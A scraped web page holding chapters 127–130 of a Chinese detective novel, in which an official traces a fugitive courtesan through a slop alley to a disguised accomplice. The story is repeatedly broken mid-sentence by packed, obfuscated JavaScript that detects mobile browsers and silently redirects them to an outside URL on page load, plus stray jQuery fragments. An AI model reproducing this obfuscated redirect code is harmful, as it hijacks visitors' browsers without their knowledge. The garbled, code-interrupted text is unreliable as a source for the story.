d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811318|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“当时琼娘逃走的那个小洞在哪里?” “在屋顶的正中间位置,我已经补上了。” “把那块屋顶拆开,本官想上去看看。” “这……大人,恐怕不太方便……这是工匠好不容易才补上的,您又要拆开,那岂不是又要再补一次……” “啰嗦什么?这笔钱本官会出。” “好,那我去找工匠来。” “不必麻烦了。” 云水谣让随行的捕快们把房顶凿开,又叫青楼的伙计搬来一架梯子,自己爬了上去。 捕快们都要跟着上来,云水谣道:“不用全部上来,冯捕头带两个捕快上来,其他人在下面等候。另外,当日青楼里负责追捕琼娘的伙计上来两个。” 过了一会,捕快和青楼伙计都上了屋顶,站在云水谣旁边。 这里是三楼,屋顶有些高,云水谣心里虽然害怕,但为了办案,也顾不得了,一直在心里给自己打气。 她不能有失官员的威严,便装作不害怕的样子,四处看看。 只见屋顶上有许多人踩过的痕迹,各个方向都有。 云水谣问青楼的伙计:“当时你们是朝哪个方向追踪琼娘的?” 伙计道:“当时我们觉得,琼娘既然从屋顶逃跑,肯定会留下痕迹,我们顺着痕迹去追就可以了。谁知我们上了屋顶后,没找到任何痕迹,根本搞不清琼娘是朝哪个方向逃走的。于是,万花楼里会武功的伙计全都出动了,往各个方向去找琼娘,但最后都没找到,只好回来了。” “这屋顶上的踩踏痕迹,是你们踩出来的?” “对。” 琼娘能够留下痕迹,说明她轻功很高,几乎到了踏雪无痕的地步。 青楼里的这些伙计,跟琼娘相差了不是一点半点。 云水谣继续问道:“当时是什么时辰?” “是早上卯时三刻左右。” 这个时辰,虽然青楼里的姑娘们都在睡觉,但外面的百姓们应该都已经起来了,在街上走的人不会少。 琼娘要在大早上避开这么多百姓的耳目,只怕也不是易事。 云水谣接着问伙计:“当天附近的百姓可有发现琼娘的踪迹?” “没有,我们拿着琼娘的画像,询问了许多百姓,他们都说没看见过琼娘。” “那琼娘是以什么方式逃走的呢……” 云水谣转头问冯捕头:“琼娘失踪以后,官府是不是张贴了悬赏令,只要有人提供琼娘的消息,就能得到官府的奖励?” “是的,但一直没人来提供线索。” 这说明,琼娘不仅逃跑时能避人耳目,而且在雍州躲了这么久,始终没有露了行藏。 由此可知,她伪装的方式一定让人意想不到。 云水谣继续问青楼的伙计:“这附近有什么偏僻之处吗?从这个房顶上能到的地方。” 伙计想了想,道:“西北角有一条小巷,是好几家饭馆的背面,那几家饭馆平时会把泔水堆放在那条小巷子里,等人来收走。那里比较狭窄,也没人居住。” 云水谣道:“带我去看看。” 127.泔水 很快,众人来到了小巷。 虽然他们在三楼的屋顶,小巷里还是有一股臭味传了上来,让人想呕吐。 小巷里放了十来个泔水桶,路面也很脏,全是秽物,臭味应该就来自于这些泔水桶。 冯捕头问道:“大人,要下去看看吗?” 云水谣犹豫了一下,还是点头道:“下去吧。” 这条小巷除了收泔水的,平时根本不会有人踏足。如果琼娘是从这里逃走,倒是有可能。 这里虽然臭秽,但自己为了办案,也顾不得这么多了。 冯捕头先跳了下去,把自己的佩刀刺进砖块的缝隙中,位置在云水谣脚下数尺之处。 冯捕头对云水谣道:“大人,您先跳到我的佩刀上,再从刀上往下跳,小人会接住您。” 云水谣照做。她先跳到了佩刀上,刀身摇晃了起来,云水谣也站不稳。 她试着收紧腹部,用腹部的力量使自己保持平衡。 接着,她看了看地面。 从佩刀的位置到地面,还有很高的一段距离,平时云水谣是不敢跳的。但现在下面有人接应,她便大着胆子往下跳去。 云水谣落地后,站立不稳,冯捕头及时拽住了她的胳膊,让她保持直立,她这才没摔到地面上。 其他人也纷纷跳了下来。 处在这小巷子里,臭味更浓了,云水谣只得用帕子捂住鼻子。 她问青楼的伙计:“琼娘有没有可能是从这条小巷子里逃走的?” “就算这小巷子没人,她只要跑出去,就会遇到街上的百姓,又是如何隐藏自己的?如果有人看见过她,没道理不去官府领赏钱。” “这倒是个问题……” 琼娘总不能一直待在这小巷子里,一方面伙计们四处找她,会很快发现她在这里;另一方面这里也会有收泔水的人来,她躲在此处并不安全;但她若是跑出去,又如何能不惊动旁人? 云水谣忽然灵光一闪:“也许,她假扮成收泔水的人,推着泔水车往外走,就不引人注意了。” 冯捕头道:“收泔水的人是固定的,如果别人见到一个陌生人推着泔水车出去,难免会多注意几分。且琼娘离开时穿得很华丽,她长得又特别好看,这样的人推着泔水车,怎么看怎么违和,会非常引人注意。” 云水谣点头:“这倒是……可她若不是通过这种方式逃走,又是通过什么方式?这附近可还有其他隐蔽的地方?” 青楼伙计道:“好像没有。其实那天,我来这条小巷子看过,没找到琼娘,我就去别处找了。” “当时的情形是怎样的?小巷子里是不是没人?” “不是,有一个穿着粗布麻衣的老太太推着泔水车离开,我看了一眼,就走了。” 云水谣灵光一闪:“穿着粗布麻衣的老太太……会不会就是琼娘假扮的?” “看着不像。而且她离开时,除了带走一个玩具奔月环,其他的什么也没带走,她从哪里弄来一套粗布衣服?总不能是她预先存在这条小巷子里的吧?” 云水谣也有些糊涂。她把所有的线索都想了一遍。 琼娘在悬崖边假死脱身,是为了让别人都以为她死了,她方便隐藏。云水谣推测,她应该以另一个身份生活在雍州城中。 琼娘从青楼逃跑后,在很短的时间内失去了踪迹,几十个青楼打手都寻她不着,甚至连附近的百姓也没见过她。 有个伙计在那天见到小巷子里有个老太太推着泔水车出去,但不太可能是琼娘假扮的,因为琼娘仓促之间没法获得一身不显眼的麻布衣服,而且她就算通过某种方式获得了麻布衣服,那换下来的那身衣服又塞到哪里去? 琼娘必然是逃走了的,且以她的武功、心智,现在一定还过得很好…… 云水谣凝神细思,忽然把一切都想明白了:“琼娘一直有另一个隐藏的身份,就是运泔水的老太太。她通过某种方式,在这两种身份之间切换自如,且不被人发现。虽然说青楼女子一直被关在青楼里,但是以琼娘的身手,要偷偷外出不是难事。 她之所以选择这两种身份,是因为两者之间差异过大。谁也想不到,某个运泔水的老太太竟会是青楼名妓。琼娘从一开始就没打算在万花楼待一辈子,她进万花楼的目的是多挣点钱。如果有什么大买卖,她随时准备抛弃青楼头牌的身份跑路。 所以,她一直在这条小巷子里储存了一身粗布衣服,方便她切换身份。她扮成收泔水的老太太之后,自己那身青楼名妓的衣服自然可以藏在原先藏粗布衣服的地方。 在她偷走杨小官人二十万两银票的那天,她也像往常一样,来到这条小巷子,伪装成运泔水的老太太,在众人眼皮子底下逃走。” 冯捕头经办过很多案子,经验老到,思维敏捷。他听了云水谣的分析,觉得很有道理:“云大人的推测,似乎是现在唯一合理的解释。还有一个小细节,就是要在这小巷子里找到能藏衣服的地方。那么,云大人的推论就更可信了。” 于是,众人开始寻找。冯捕头本想让云水谣在一边休息,但云水谣觉得自己不能拈轻怕重,办案子什么情况都会遇到,这种脏乱的地方自己也不该嫌弃。而且自己心细,说不定能发现什么别人注意不到的地方。 因此,云水谣也跟大家一起检查这条小巷子,手上、身上都沾了许多污秽,她也忍受了下来。 她的下属们见她如此亲力亲为,都很敬佩她。 过了一会,冯捕头在墙上摸到一块活动砖。这块活动砖比较高,冯捕头是在场众人长得最高的,所以摸到了。 他把活动砖挪开,发现旁边几块砖头也能挪动。把所有能挪动的砖头都移开后,里面是一个方形的小洞,里面铺着油纸,放着香料,除此之外没有其他的东西。 这个小洞并不大,但放一两套衣服不在话下。 冯捕头道:“这个小洞可能就是琼娘藏衣服的地方。里面铺着油纸,可以隔绝水和油,让衣服保持干燥;香料是为了让衣服保持清香,以免染上泔水的臭味,惹人怀疑;小洞在高处,是为了最大程度地避开泔水桶。琼娘会轻功,她使用这个高处的小洞是非常轻松的。 由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815843|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此可知,云大人的推测基本正确,琼娘确实在青楼名妓和运泔水的老太太两者之间来回切换。她扮成老太太时,就把青楼的衣服放入小洞中,用砖头盖好。等她要扮回青楼女子时,就从小洞中把华服取出来,直接换上就是,反正这衣服跟香料放在一处,会很香,谁也想不到衣服是从放泔水的小巷子中取出来的。” 有个捕快不解道:“既然琼娘穿上粗布衣服,假扮成老太太离开,那她那身青楼的衣服应该藏在这个小洞里啊?怎么没有?” 冯捕头道:“琼娘离开后,实际上一直逗留在雍州,她之后完全有机会偷偷回来,把小洞里的衣服拿走,毁灭证据。事情已经过去几个月了,她肯定不可能一直把这身换下来的衣服放在此处的。” “原来是这样。” 见自己的推论成立,云水谣十分激动。她问冯捕头:“这条小巷子负责运泔水的是谁?” 冯捕头道:“这要问街道司,大人先回衙门问问吧。” “好。” 云水谣嘱咐青楼的伙计:“今日的发现先不要声张出去,否则本官会严惩。” 伙计们连连答应,回了青楼。 云水谣带下属们回了衙门。天色已晚,众官吏都下值了,云水谣差人去请街道司的主管回衙门问话。 过了半个时辰,街道司主管来了,云水谣问道:“万花楼附近的青瓜巷,是谁负责运泔水的?” 街道司查阅了文册之后,回答道:“那条巷子的泔水和卫生是三个人轮流负责的,一个叫吴大姐,今年六十四岁。她的名字就叫吴大姐,但别人因她年老,都称她为吴阿婆。一个叫方巧,今年六十岁,别人都称她为方大娘。还有一个叫钱三多,男,今年四十岁。” “这三个人你都见过吗?” “见过,不过那个吴阿婆身体不好,吹不得风,每次出门都是用头巾包脸的,我从没看见过她的相貌。” 云水谣心中比较怀疑这个吴阿婆。 运泔水的一共有三个人,那个男的可以忽略;剩下两个女的,都是老妇,符合之前的猜测。而这两个老妇里,明显是不露脸的吴阿婆更可疑。 云水谣问清了吴阿婆的住址,带上几个心腹,前往吴阿婆家。 大约一个半时辰后,云水谣来到一处简陋的民房,这里就是吴阿婆家,在一个偏僻的村子里。 现在已经是晚上,村里也没有太多灯光,四周又暗又安静。 吴阿婆家也没什么动静,也许人已经睡了。 云水谣心想,如果这吴阿婆真的是琼娘的话,她真的敢大摇大摆地住在这里吗? 但是,既然没人猜得出她的隐藏身份,她躲在这里其实是安全的。琼娘一定想不到,云水谣已经识破了她的伪装。 想到一会就能见到琼娘了,云水谣又兴奋,又紧张,又怕琼娘突然出手伤害她。 不过她带了冯捕头和几名捕快,还有几名暗卫在暗中保护她,应该没什么问题。 云水谣收起了种种思绪,上前敲了敲门,出来开门的却是一个四十来岁、膀大腰圆的中年女人。 128.母女 这中年女人有些驼背,长得很丑,头上包着一块陈旧的灰色头巾,脸上有一大块红斑,鼻子周围还长了许多雀斑,嘴角有一颗大痣。 虽然云水谣觉得以貌取人不好,但她看到这中年女人的第一眼,还是本能地不想看,于是就挪开了目光。 她问这中年女人:“这里是吴阿婆家吗?” 中年女人问道:“你找我娘?” “原来她是你娘。我是雍州官员,有点事想问你娘。” “我娘生病了,不能见客。” 说着,这中年女人就想关门。 冯捕头走上前来,用力地推开门,说了声“得罪了”。 云水谣绵里藏针地说道:“生病了也不妨事,本官只是有几个问题想问,你娘不必出来,我进去找她就是。百姓有配合官员问话的义务,你不会想阻拦吧?” 这中年女人想了想,没有继续关门,但还挡在云水谣身前。 这时,里屋传来一个苍老的声音:“佩儿,是谁来了?” 中年女人转头道:“娘,是一位女官来找。您要是身体不舒服,我就让她走。” “没关系,说几句话还是不妨事的,快请那位大人进来。” 这中年女人佩儿还是有点犹豫,但又没有理由继续阻拦,只能让云水谣一行人进入里屋。 一进去,云水谣就感觉眼前一黑。 这间屋子很暗,窗户都用深色的窗帘遮着,月光透不进来。屋内也没有点蜡烛,可以说是一片漆黑。 云水谣模模糊糊地看见床上有个人影,但看不真切。 她一边拉开窗帘,一边让人点燃蜡烛,问道:“吴阿婆,深夜叨扰,实在不好意思。但有些事,本官要亲自问问你才放心。” 床上的吴阿婆支起身子,咳嗽了几声,有些虚弱地说:“不敢,大人有什么问题尽管问吧。刚才我已经睡着了,所以屋里没有点蜡烛。” 云水谣借着蜡烛的光芒,仔细看了看吴阿婆。她在自己屋里竟也用头巾包着脸,只露出一头白发和一双虚弱的眼睛。 云水谣问道:“吴阿婆,您为什么在屋里也蒙着脸?” “咳咳……老身身体不好,受不得风,所以一直包着脸,还请大人勿怪。” “门窗都关严实了,没有风。我听说一直蒙着脸也不好,不如您把头巾拿掉,透透气吧。” “这……” 吴阿婆有些犹豫,不想照做。 云水谣使了个眼色,就有两名暗卫突然上前,按住了吴阿婆,然后解开了她的头巾。 云水谣叫暗卫动手,是怕吴阿婆武功太高,普通的捕快按不住她。 吴阿婆被按住,似乎动弹不得。 她的脸露了出来,是一张苍老的面孔,瞧着跟其他老太太没什么不同。 吴阿婆有些惊讶:“大人,这是做什么……” 云水谣冷笑道:“我听说,有些人老了之后就会蜕皮,我想看看吴阿婆脸上有没有蜕皮。” 吴阿婆有些惊慌地说道:“人怎么会蜕皮,大人您……” 云水谣示意暗卫检查吴阿婆的脸,看是否有贴人皮面具。 两个暗卫仔细查看了吴阿婆的脸、脖子、耳后、后脑勺、头皮等处,越看越疑惑。 接着,他们说道:“大人,吴阿婆没有戴人皮面具,这张脸似乎是她自己的。” 吴阿婆道:“什么人皮面具,我的脸难道还能是假的不成……” 云水谣有些惊讶,问两个暗卫:“你们确定?” “确定。” 云水谣亲自走上前去,又仔细看了看吴阿婆的脸,看不出什么破绽。 她喃喃自语:“难道搞错了……” 吴阿婆道:“大人,您究竟在干什么,可否放开老身……” 这时,吴阿婆的女儿佩儿听见了屋里的动静,也跑了进来,有些不高兴地对云水谣道:“大人,就算您是官员,也不能这样欺负一个老太太吧?” 云水谣让暗卫放开吴阿婆,并对吴阿婆母女致歉:“抱歉,本官在查案,多有得罪。关于案件,不方便解释太多,以后你们就知道了。这一点银两,就当是给你们的补偿。” 云水谣掏出一些碎银子,交给了佩儿。佩儿看在银子的份上,也没说什么。 云水谣想到,琼娘也未必就是吴阿婆,还有可能是另一个老妇方大娘。 之前街道司的官员说吴阿婆一直包着脸,云水谣就先入为主地认为吴阿婆可疑,但实际上吴阿婆可能真的是身体虚弱才包着脸而已。 琼娘应该会易容,只要她的易容术过关,扮成方大娘这样不蒙脸的老太太也可以。 既然吴阿婆没戴人皮面具,那说不定该找的人是方大娘。 以防万一,云水谣问吴阿婆:“四月一号那天,去青瓜巷运泔水的是谁?” 吴阿婆道:“是方巧,大家都叫她方大娘。我和方巧、钱三多三个人负责那一块的街道卫生,是轮着值日的。四月一号是方巧去那边干活。” 云水谣决定去方大娘家看看。 她带着众下属离开了吴阿婆家,不过她偷偷吩咐两名捕快:“你们守在吴阿婆家,等她家没人的时候,进去搜一下,看看有没有一种叫奔月环的玩具。” “是。” 冯捕头疑惑道:“既然吴阿婆不是琼娘假扮的,那怎么会有奔月环呢?” 云水谣解释道:“以目前的情况看,只能说琼娘大概率不是吴阿婆,但不能绝对确定。也许吴阿婆用其他方式隐藏相貌,未必是用人皮面具,只是这种方式我们暂时还不知道而已。 如果吴阿婆家真的有奔月环,且是那种经过改造、可以射出银针的奔月环,那么吴阿婆就是琼娘的概率会增大,我们还要接着调查她。” 冯捕头道:“原来如此。” “方大娘家在哪里?我们现在过去?” “现在很晚了,大人要不要回去休息,等明天再说?” “不,就要现在过去,以免夜长梦多。” 冯捕头认得方大娘家的路,便在前面带路。 方大娘家跟吴阿婆家并不在一个村子,而是隔了好几个村子。 大约两刻钟后,他们来到了方大娘家门口。 云水谣让人上前扣门,敲了许久都没人开。 云水谣朝暗卫使了个眼色,让暗卫翻墙进去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822472|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 暗卫翻进去之后,从里面打开了门,让云水谣等人进去。 云水谣发现,方大娘家一片漆黑,静悄悄的,好像没有人。 她家就两间屋子,众人把这两间屋子都看遍了,一个人影也没有。 冯捕头道:“难道方大娘不在家?” 云水谣根据以前办案的经验,道:“该不会她家也有什么地道、密室吧?大家用火折子照仔细了,把每一寸地方都好好搜搜。” “是。” 然而,众人把所有地方都搜遍了,也没发现什么地道机关。 倒是有几个捕快惊讶道:“方大娘家好脏啊,我们随便摸了摸,手上全是灰。”“是啊,就连床上、被子上也全是灰。” 云水谣奇道:“怎么会这样?难道方大娘已经离开很久了?” 这时,邻居听见这里有动静,就在门口探头探脑的。 云水谣干脆问这些街坊邻居:“你们知道方大娘去哪里了吗?” 邻居纷纷说道:“不知道,自从四月一号之后,就再没见到她了。”“是啊,也不知道去哪里了。” 云水谣大惊:“什么?四月一号之后,方大娘就不见了?” “是啊。” 四月一号,刚好是琼娘卷款潜逃的日子。 琼娘很有可能是伪装成送泔水的人才逃走的,而方大娘也是那时候失踪的…… 所以,方大娘才是琼娘假扮的? 云水谣问道:“既然方大娘不见了,为何没人上报官府?” 有个邻居道:“方大娘临走前来见过我,说自己要出趟远门,如果有人问起,就说她出去了。所以我们觉得她不算失踪吧,就没上报官府。” “她也没说去哪里吗?” “我问过,她没说,只说有点事。这方大娘无儿无女,又没有亲戚,平时跟我们这些邻居也很少来往。而且她干的是运泔水的活,又不讲卫生,平时身上总有一股臭味,我们也不怎么跟她接近。她说要出远门,我们也没追问她到底要去哪里。” 云水谣嘱咐冯捕头:“你马上回衙门,找几个书吏写通缉令,悬赏方大娘。如有提供线索者,有重赏。” 冯捕头神色凛然:“大人是怀疑方大娘……” 他没再说下去,不过云水谣知道他言外之意,点了点头:“没错,应该是她。发通缉令未必能找到她,不过聊胜于无。” 冯捕头道:“是,小人马上去办。” 邻居们纷纷露出看戏的表情,试探地问道:“大人,为何要通缉方大娘啊?” 云水谣觉得他们有点烦,不关他们的事也要瞎打听。她正想找个理由搪塞过去,忽然想起一事,觉得可以问问这些邻居。 因此,云水谣编了个借口:“官府丢了一件要紧的东西,怀疑是方大娘偷了。她一直不见踪影,可不就是做贼心虚吗?所以才要通缉她。” 邻居们纷纷露出恍然大悟的神情,同时因为知道了方大娘的隐私,有一种满足感,但又装出一副义愤填膺的样子,对云水谣说道:“这方大娘太过分了,怎么能偷东西?”“就是,一把年纪了,还偷东西,晚节不保。”“不知她偷了什么东西?” 129.复返 云水谣道:“是一个奔月环,大伙有印象吗?平时有没有见方大娘带着一个奔月环或是在家里玩过?官府丢的这个奔月环,外表看着只是普通的玩具,其实里面是用特殊的材料做的,那种材料很贵,比金子都贵。” 大部分邻居都不知道,有一个中年妇女说道:“好像方大娘确实有一个奔月环,她在家里玩的时候,我看见过。除了奔月环外,她还有九连环、鲁班锁等玩具,不知是不是都是偷来的?” 云水谣道:“其他玩具应该是她自己的,只有奔月环是偷的。” 既然方大娘手上有奔月环,那她是琼娘,也是蝮蛇帮头目的事,就概率更大了。 这时,有个衙役跑了出来,手上拿着一个奔月环,对云水谣道:“大人,刚才我们一直在搜方大娘的屋子,搜出这个奔月环。” 云水谣有些惊讶,拿在手上反复观看,觉得这就是一个普通的玩具,并非经过改造。 这就有些奇怪,如果方大娘就是琼娘,是蝮蛇帮的头目,那这个奔月环既是她的信物,也是她的武器,她不可能不带走,反而扔在家里。 云水谣又把这个奔月环使劲拧了几下,觉得里面没什么机关。 不过,也有可能这个奔月环就只是玩具,作为武器的改制奔月环已经被方大娘带走了。 也没说一个人只能拥有一个奔月环,这种玩具,只要买得起,大可买一箱来,也不在话下。 这时,围观群众纷纷说道:“哎,奔月环不是找到了吗?”“是啊,这方大娘太搞笑了,逃走忘记带上赃物,白逃了。”“大概是人老糊涂了吧。” 云水谣道:“这个奔月环只是普通的玩具,真正的赃物已经被方大娘带走,所以官府要继续通缉。但这件事要保密,还请各位高邻不要说出去。如果走漏了风声,不仅本官要被责罚,连你们也要跟着吃瓜落。” 围观群众纷纷缩起脖子:“知道了大人,我们不会泄露的。” 云水谣命人把方大娘的屋子封了起来,并派几个官兵把守。虽然方大娘不太可能回来了,但要以防万一。 她正想回家休息,忽然想起一事,要去问问吴阿婆。 于是,云水谣带着剩下的下属,重新回到吴阿婆家中。 吴阿婆母女已经睡下了,云水谣敲了许久的门,吴阿婆的女儿佩儿才开了门。 佩儿的脸色明显有些不好,但面对官员,她又不能发脾气,只能勉强压着性子问道:“大人,您怎么回来了?” 云水谣:“我还有一件事,要问问你娘。” 说着,云水谣就直接走进了吴阿婆的房间。 吴阿婆听见推门声,惊醒了,问道:“云大人,您怎么又回来了?” “吴阿婆,本官刚才去了方大娘家,发现她已经离开两个多月了。这事你知道吗?” “哦,知道。四月一号那天下午,她来找我,说接下来几个月麻烦我和钱三多帮她值日,她要出远门一趟。等她回来,再替我们的班。” “这事你刚才怎么没说?” “刚才……您只问了四月一号是谁去青瓜巷收的泔水,没问方大娘这几个月在不在啊。” 云水谣心想,这也有道理。吴阿婆年老,脑筋转得不快,回答问题一板一眼,没想起把方大娘的所有事情都告诉她,这也难怪她。 云水谣便点头道:“没事了,本官这就离开了。方大娘很有可能不是好人,如果你和你女儿再见到她,一定要来报官。” 吴阿婆有些害怕地抿了抿唇,问道:“怎么回事啊?” “具体情形,本官不方便透露。总之,你们母女如果见到她,一定要报官。” “是,我们记下了。” “对了,你家只有你和你女儿两个人?” “是。” “你女儿看着年纪不小了,成亲没有?” “说来也不怕大人笑话,小女长得难看,所以一直没有嫁人,跟着我过日子。母女两个,倒也清静。我身体不好,有时候就是我女儿替我出去干活。” 云水谣点点头,准备离开,但她突然感觉有哪里不对。 她仔细看了看吴阿婆的屋子,又看了几眼吴阿婆,又好像没什么问题。 于是,她就离开了。 柳依依是云水谣的小吏,平时一直住在云水谣隔壁的房间。 所以两人结伴回住所,路上边走边聊。 柳依依道:“吴阿婆长得并不难看,没想到她女儿竟是那副样子。如果不是太丑,一个普通的姑娘其实很好嫁。如果吴阿婆有女婿养老,就不用一把年纪还出去干活了。” 云水谣点头:“确实如此,不过她女儿看着膀大腰圆,力气很大的样子,其实比起男子来也不输什么,也足以给吴阿婆养老了。” 柳依依:“佩儿虽然其貌不扬,但身上香香的。” 云水谣:“是吗?我都没在意。是什么香味?” “我也不知道,我是第一次闻到,感觉还隐隐有一种药味,不知是什么配方的香料。” “她要帮吴阿婆干脏活,平时用点香料也正常。对了,你觉得那个逃走的方大娘是不是琼娘?” 柳依依道:“从目前的线索来看,应该就是她。要不然,为什么琼娘失踪那天,方大娘也失踪了?不可能有这么巧合的事。” 云水谣点头:“这似乎是唯一合理的解释。只是,方大娘这个身份其实已经是很好的伪装了,她为什么要舍弃这个身份呢?” “可能她觉得,官府迟早会猜到琼娘就是运泔水的方大娘,所以她要趁早舍弃方大娘这个身份,重新找地方躲藏。” “也有可能。但是,方大娘已经逃走两个多月了,可半个月前,琼娘又穿上青楼女子的衣服,出现在捕快面前,在悬崖边上假死。这说明,方大娘——也就是琼娘逃走之后,其实并未离开雍州城,一直隐藏在另一个地方。她为什么不干脆远走高飞?如果她这几个月一直隐藏在雍州城,又是以什么方式隐藏的?” 柳依依道:“我觉得,她不走,可能有几个原因。第一,她觉得自己待在雍州更安全,因为官府想不到她犯案之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826439|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,还敢逗留在此。第二,可能是她的上级要求她继续潜伏在雍州。至于她这几个月用什么方式隐藏,我也猜不出来。不过,她既然这么聪明,懂得利用方大娘的身份隐藏,一定还有其他的后招。对我们来说很费解,对她来说却是信手拈来。” 云水谣点头:“不错。” 她们又讨论了一会,没讨论出更进一步的结果。正好已经走到房门口了,就各自睡觉了。 第二天,小吏来报,说是已经把方大娘的悬赏令贴出去了。 云水谣点头道:“好,本官知道了。” 她把所有的线索在脑中回想了一遍,忽然想到一种可能:琼娘不一定是假扮成运泔水的人才能逃脱。也许运泔水的人,只是她的帮手,她本人可以藏在泔水桶里面,这样也能神不知鬼不觉地离开。 当时追捕她的那些青楼打手,肯定想不到她身为一个玉软花柔的青楼头牌,竟然会钻进泔水桶里,所以才没有往这个方向去想。 如果是这样的话,吴阿婆不是琼娘,方大娘也不是琼娘。她们两人中应该有一个,是琼娘的帮手。 青楼的一个伙计曾跟云水谣说过,四月一日他去追捕琼娘,看到小巷子里一个老太太推着泔水车离开。 那么,就可以排除钱三多这个男人。 而吴阿婆如果是琼娘的帮手,那她自然不需要戴人皮面具,因为琼娘本来就没有扮成她,吴阿婆就是一个真正的老妇人。 所以,之前发现吴阿婆脸上没有人皮面具,其实也不能洗清吴阿婆的嫌疑。也许就是她把琼娘装在泔水桶里运出去的。 想到这里,云水谣立刻叫来十来个身手不错的侍卫,对他们道:“你们去盯紧吴阿婆家,有什么异常立刻向我报告。” “是,大人。” 侍卫们正准备离开,云水谣叫住他们:“等等——” 侍卫们道:“大人还有什么吩咐?” “你们十个去了吴阿婆家后,直接动手把她和她女儿都带到这里来,最好点住她们的穴道。” “是。” 侍卫们虽然有些不解,但还是按照吩咐去做。 云水谣刚才忽然想到,吴阿婆脸上没有人皮面具,那她女儿呢? 佩儿会不会就是琼娘假扮的? 佩儿长得那么难看,寻常人都不会多看,那她若是有一些伪装,别人自然也看不出来。 云水谣觉得自己这个想法,简直妙到毫巅了,这是自己为官多时,所锻炼出来的直觉和判断力。 如果真相真的如云水谣所想,佩儿才是真正的琼娘,那云水谣也不得不佩服琼娘的智慧。 琼娘如此人才,只做诈骗犯,真是可惜了。 云水谣心中十分激动,忍不住叫来柳依依,把自己的猜测跟她说。 柳依依听得既惊讶,又佩服,道:“大人,我觉得这个猜测也十分合理。之前我们一直在怀疑吴阿婆和方大娘,谁能想到吴阿婆的女儿才是真正的琼娘呢?只是,如果是这样,尚有两点疑问。” “哪两点?” 130.美人 “如果方大娘跟此事无关,为何她会和琼娘同一天失踪呢?还有,四月一号那天,既然是方大娘值日去运泔水,如果吴阿婆去代替她,难道就没人发现她们互换了吗?” 云水谣沉吟道:“确实如此……刚才我光顾着高兴,漏了这两个细节。方大娘的离开,有一种可能,就是她恰好真的有事。第二种可能是,方大娘被蝮蛇帮的人带走或是杀了,就是为了让官府怀疑到方大娘头上。或者,还有第三种可能——” 柳依依问:“什么可能?” “也许,方大娘就是琼娘,琼娘借助方大娘这个身份离开了小巷,躲开了追捕,然后逃走,这跟我们之前的猜测一样。而吴阿婆母女俩,确实跟此案无关。至于到底是哪种可能,就要看吴阿婆母女俩有没有猫腻了。” 云水谣叫来一班衙役,吩咐道:“你们去青瓜巷附近,询问那里的住户,四月一号去青瓜巷运泔水的,到底是吴阿婆还是方大娘。如有提供线索者,重重有赏。” “是。” 又等了半个时辰后,吴阿婆和她女儿佩儿被带来了。 吴阿婆弓着身子,不停地咳嗽,好像身体不太舒服。她仍是用头巾包着脸,眼神有些凄惶。 佩儿一脸不高兴,但已经被绑住了,没法有什么动作。 佩儿问云水谣:“大人,您为何几次三番为难我们母女,还无故将我们绑上公堂来?” 云水谣刚要说话,其中一个侍卫道:“大人,您可别小瞧这个佩儿,刚才我们十个人联手,才勉强抓住她。” 云水谣问道:“怎么回事?她会武功?” “对,而且她武功很高。刚才我们去她家,想直接抓住她们母女。吴阿婆倒是很容易就抓住了,我们点了她的穴道。佩儿见到我们抓了她母亲,直接朝我们攻击,打了我们一个猝不及防。还好我们人多,合力攻击之下,终于把她给抓住了。她动起手来身姿轻盈,根本不像表面上看上去这么笨重。” 云水谣问道:“佩儿的穴道也点住了?” “是。” 云水谣露出成竹在胸的微笑,走近佩儿身边,道:“那就看看佩儿的真面目吧。” 她观察了佩儿一会,不确定她是否戴了人皮面具。 云水谣叫来一个经常混江湖的侍卫,对他说道:“你看看这个佩儿是否有伪装。” “是。” 侍卫仔细观察了佩儿一会,还捏了捏她的脖子、耳后、头皮、肩膀等部位。 佩儿很抗拒,但她被点住了穴道,既没法逃跑,武功也施展不开,只能站在原地。 过了一会,侍卫回话道:“大人,佩儿不仅脸是假的,连身体也是假的。” 云水谣惊讶道:“身体如何作假?” “她本来没这么胖,也不驼背,是衣服里面塞了一些东西。我现在就把她的本来面目复原。” 说着,侍卫揭开了佩儿的人皮面具,并且在佩儿的身体各处拍了拍。 很快,令人惊讶的一幕发生了。 